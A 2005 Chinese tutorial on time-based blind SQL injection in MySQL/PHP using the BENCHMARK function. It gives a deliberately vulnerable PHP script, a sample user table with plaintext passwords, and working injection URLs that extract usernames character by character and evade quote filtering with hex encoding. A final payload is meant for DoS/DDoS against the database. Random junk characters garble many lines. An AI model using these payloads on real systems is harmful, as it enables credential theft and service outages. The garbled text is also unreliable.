MYSQL中BENCHMARK函数的利用 " R/ U0 ]- A6 g v
本文作者:SuperHei3 D/ W& b- z6 E/ d* h
文章性质:原创
, _- w' c/ ] ? \! j发布日期:2005-01-024 O3 T+ T% N. W% s' `( n
完成日期:2004-07-09 6 H7 |' E( W- Q: ]) C' S
第一部
" l$ s0 d& k8 G* R/ j& E# m A6 d; _% O1 P/ W* ~( [. o5 g8 l0 m
利用时间推延进行注射---BENCHMARK函数在注射中的利用 * [9 U" ~ I# h" V. M; o, o
( H" N( [9 y5 N$ J: j
一.前言/思路
7 w) `+ m& h* j5 h* z# G7 `* ^* E& v
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
4 x1 t- X1 W1 t" ^& A1 k$ p
- o9 m; @- ^; S) [ 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。% y" a" Y+ _- q7 L- @6 `3 A
$ N% [; w2 h$ {+ V! x [# `3 n二.关于BENCHMARK函数
F9 i$ _) W S/ ]- m2 Q. ~6 T! Y# e, p6 _. o. C* G
在MySQL参考手册里可以看到如下描叙:
/ K6 K$ P* o& q0 E8 D; _! x
! H+ h; D8 Q8 y3 }. B, c l& v) N0 q
--------------------------------------------------------------------------------* l; \. n4 `4 y6 |- o! P: I
% m: P/ q3 k4 A6 \* @
BENCHMARK(count,expr)
5 r1 c' ?- ^2 ] p+ X% U& Z3 xBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
- Q/ J% h% q1 v1 w6 ^% N5 hmysql> select BENCHMARK(1000000,encode("hello","goodbye")); 1 \6 ~( f3 {" ^' E+ ^2 U2 o5 P
+----------------------------------------------+ ! ?, T8 B% v. S$ m
| BENCHMARK(1000000,encode("hello","goodbye")) | 1 m o3 g) @0 _/ @! q- R& O& {
+----------------------------------------------+ & `8 Y; b* @. x+ N. u$ i- X
| 0 |
/ G! d9 Y+ Y3 }+----------------------------------------------+ - j/ G3 o( `: G! l2 ?9 g5 |9 Z
1 row in set (4.74 sec)
1 a3 F& [0 Z1 s3 A2 [4 T
3 M, N# ]2 V7 r5 S3 t报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
' ?3 a9 {2 @1 U5 _- N. {( I
0 V" b* E; o: S1 I! R
) Q1 d! N3 Q+ S+ z; c) C! l, S, a- L--------------------------------------------------------------------------------) r# g$ D2 g6 {4 A
8 G/ f: w" _$ d* F3 d2 O
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
/ Z1 p" p9 G) a" k! C& J) p$ a2 d$ Z" H# ^9 U* P* x
mysql> select md5( 'test' ); $ e% L6 b3 `6 E5 }$ d3 b/ ~& g
+----------------------------------+ * c/ t$ C( K* e7 `1 D% D6 z
| md5( 'test' ) | ! y5 P6 C' N# q; R2 Q. G- l& B. b
+----------------------------------+ 4 `6 P; _ q( J: L2 q6 T; @
| 098f6bcd4621d373cade4e832627b4f6 |
. e5 C8 Z, M8 K/ O+ J: |+----------------------------------+ 1 E4 ^ i. B* P2 z8 g! G) n
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
& B `2 u( `" M% L" B6 T9 m2 {1 {0 H0 J
mysql> select benchmark( 500000, md5( 'test' ) );
5 U9 ^ J. e1 P9 }: Z+ s4 W+------------------------------------+
+ V/ L- x. q8 w| benchmark( 500000, md5( 'test' ) ) |
# H' n8 G# E/ {9 Q+------------------------------------+
( _. G5 Y' y0 R+ R3 p3 K3 ]| 0 | : B1 {- M9 D) T
+------------------------------------+
0 G2 R& y4 r- l1 row in set (6.55 sec) 〈------------执行时间为6.55 sec+ F% s$ Z& L: d! j% y1 j
, y8 `& W! b8 d# Y
5 f$ V# @ ^/ j+ s9 W2 k
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 $ U# F" C3 U0 a. w/ q) I
4 E7 b0 M" e+ P$ f B三.具体例子. I3 {+ I3 [8 E6 _# h8 A
* b- e, w2 ?0 E; s# f0 h
首先我们看个简单的php代码:
; A4 ?8 p6 [( E# W/ O/ b# u
- x; Y- z/ l: _< ?php
- H- z F4 m0 s8 y, ^$servername = "localhost";
! H0 t3 \/ u3 O& ]5 \$dbusername = "root";
/ R/ k- c+ M3 ?& ~' D6 j& R$dbpassword = ""; 7 i. X+ b. s- x) a9 c1 m- w
$dbname = "injection";
8 a" [+ Q% i: r5 ` m2 w H% v$ m- Z/ Z8 H" g
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 0 C3 A' n' K+ x& d5 l- B: [
1 F# M3 v7 l1 U; o+ m7 D' Z. O* v$sql = "SELECT * FROM article WHERE articleid=$id"; # J" e5 `/ O9 P
$result = mysql_db_query($dbname,$sql); {% b* c, D2 k' T4 B% f; M) N
$row = mysql_fetch_array($result);
* _7 R) D# }/ [: I; S! T1 K, A& D, a/ K
if (!$row) ) t7 H" x/ |$ g# t( k; G6 ]
{
. o1 E$ r l0 }+ t% V; O7 Texit; $ i+ |' I2 s9 C5 s$ |
}
5 _" t" T! Y+ e( c' }2 v?>, W4 q5 y \$ j/ t1 f
8 W3 G8 Q5 g: ?# G* F
8 f/ P8 Q( Q7 ^, j 数据库injection结构和内容如下:/ J( c; _" ?# U0 u! G! k' h* h
! I$ D. ?5 N }3 }- q1 f$ k- d
# 数据库 : `injection` ; ?* \) K* C' u9 I" W" k: ~9 |
#
+ x# @! E: Q+ a- p$ ?4 I+ Z- B/ F' C3 e5 U6 |- T9 s6 D3 v) V
# -------------------------------------------------------- 0 g9 G) d5 T4 h
W$ q4 x; `2 |( y( V' @- s( T9 D# 1 e2 I7 A" E& Z0 w
# 表的结构 `article`
% W, G* i) x+ _; M* U, f* Y# & d0 z4 W2 {0 f+ |6 x; ]
5 I# O) t9 m0 l3 t
CREATE TABLE `article` ( ) Z# x2 J7 t9 Z: C+ Y
`articleid` int(11) NOT NULL auto_increment, 5 T- ]5 n; u0 C5 N& e
`title` varchar(100) NOT NULL default '', 1 i$ G% N3 k2 {
`content` text NOT NULL, 9 z0 m a# |; M
PRIMARY KEY (`articleid`)
r: Z5 \* I8 w* P) TYPE=MyISAM AUTO_INCREMENT=3 ; 2 p) O! y/ e/ p/ @8 Z. b2 H, g. C
8 x2 W+ E3 i# g( T) x5 v* B#
0 E( g4 V6 Y% Q# A6 t& `/ U# 导出表中的数据 `article`
% P% r; f1 _) s5 {# 6 \1 M7 n% z9 [3 X
$ w) x7 y( J7 N1 `' D( B8 Q0 \) yINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
* _. ^$ n$ t m; _" @! \$ TINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 0 d- B3 j9 I5 c( K i4 z1 u( N
7 R8 [! W6 ^7 {' X7 F) {# --------------------------------------------------------
9 d- ~' l2 a2 F2 `% j" K5 c& x; l! A
#
; D# o. O9 E7 |1 O# s+ X" c+ s9 A: H# 表的结构 `user`
; m6 ~7 p5 B8 N) }+ a# 4 l: l+ D2 ]/ Q+ `/ l2 }
6 h. y- o: R. ?, u. ECREATE TABLE `user` (
$ g+ h3 R ?+ f* E- @& |# A`userid` int(11) NOT NULL auto_increment,
, W" e0 I* l1 O- f9 G0 n`username` varchar(20) NOT NULL default '', + d) [( t' X& Q; S0 U
`password` varchar(20) NOT NULL default '', / ~$ U" a* G/ h- k, b: I
PRIMARY KEY (`userid`)
, h3 Z! k" L5 G+ i1 d) TYPE=MyISAM AUTO_INCREMENT=3 ;
6 { ~! b9 V0 N" W6 {: C9 P
2 _) `4 [1 P. C T2 U2 I- x# E W# + i1 G9 ]- _9 x0 v( @& Y
# 导出表中的数据 `user`
* h8 j" u& h/ K7 ?% U# 9 r9 R: f6 s- g$ K% r, t+ n6 J' d, i
7 _1 Q$ w$ ^: t* Z
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); " C7 p! C$ F( g+ o
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');% D! e! W0 ]: j
5 {- H: w7 F5 D% ? k
3 F5 R# |5 r* F* J- r. g, \ 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
" z# _1 l0 ~ ?/ \
! m; X* x5 E+ X7 W- Jid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*% Y1 z1 w7 g7 p# G6 W
; B. Y, U! M0 b: B8 X! A9 o
- O$ A8 r( A- D
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:, h5 e8 g! P* S) q% T: {! ]
t9 N& `+ p5 T1 z/ T5 B. w! y j
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
) M* [$ E" i+ S- ~
5 s5 x) m: ?$ j5 g$ D5 l
: q# t# t2 ~6 u+ m' w% ]; V 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 6 x! |- V9 y" r2 Q
& e0 Q, S. j7 c- ?& f$ a 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 8 b) ~* ~+ v, l
: j; k* V) u' }6 `
第二部
$ m( j+ v, I. Q z; K1 ?) b7 W) B/ Q4 r1 S& F
利用BENCHMARK函数进行ddos攻击
( r: u# _% ^" j$ z" l L- F I p, w% K8 g3 v' U( q9 Q4 E
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:( e6 c$ u) g$ @% b! n
5 u3 n8 J1 A7 W4 Fhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
! f/ X& H0 v2 n- X" X- t
/ _7 U1 [; o8 ?. f% i+ _# K j& m& w: w6 I4 ~( a H
小结
8 f& ~9 p! V4 O" f' X6 C5 B( B
9 q) o+ J# ~$ ?- Z. ]4 K! j 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
% W: Y T8 h' f8 r
# v6 v' ~( [ l- }. q7 r6 a0 q# }
& F; S* A! ~& j9 m0 g% D |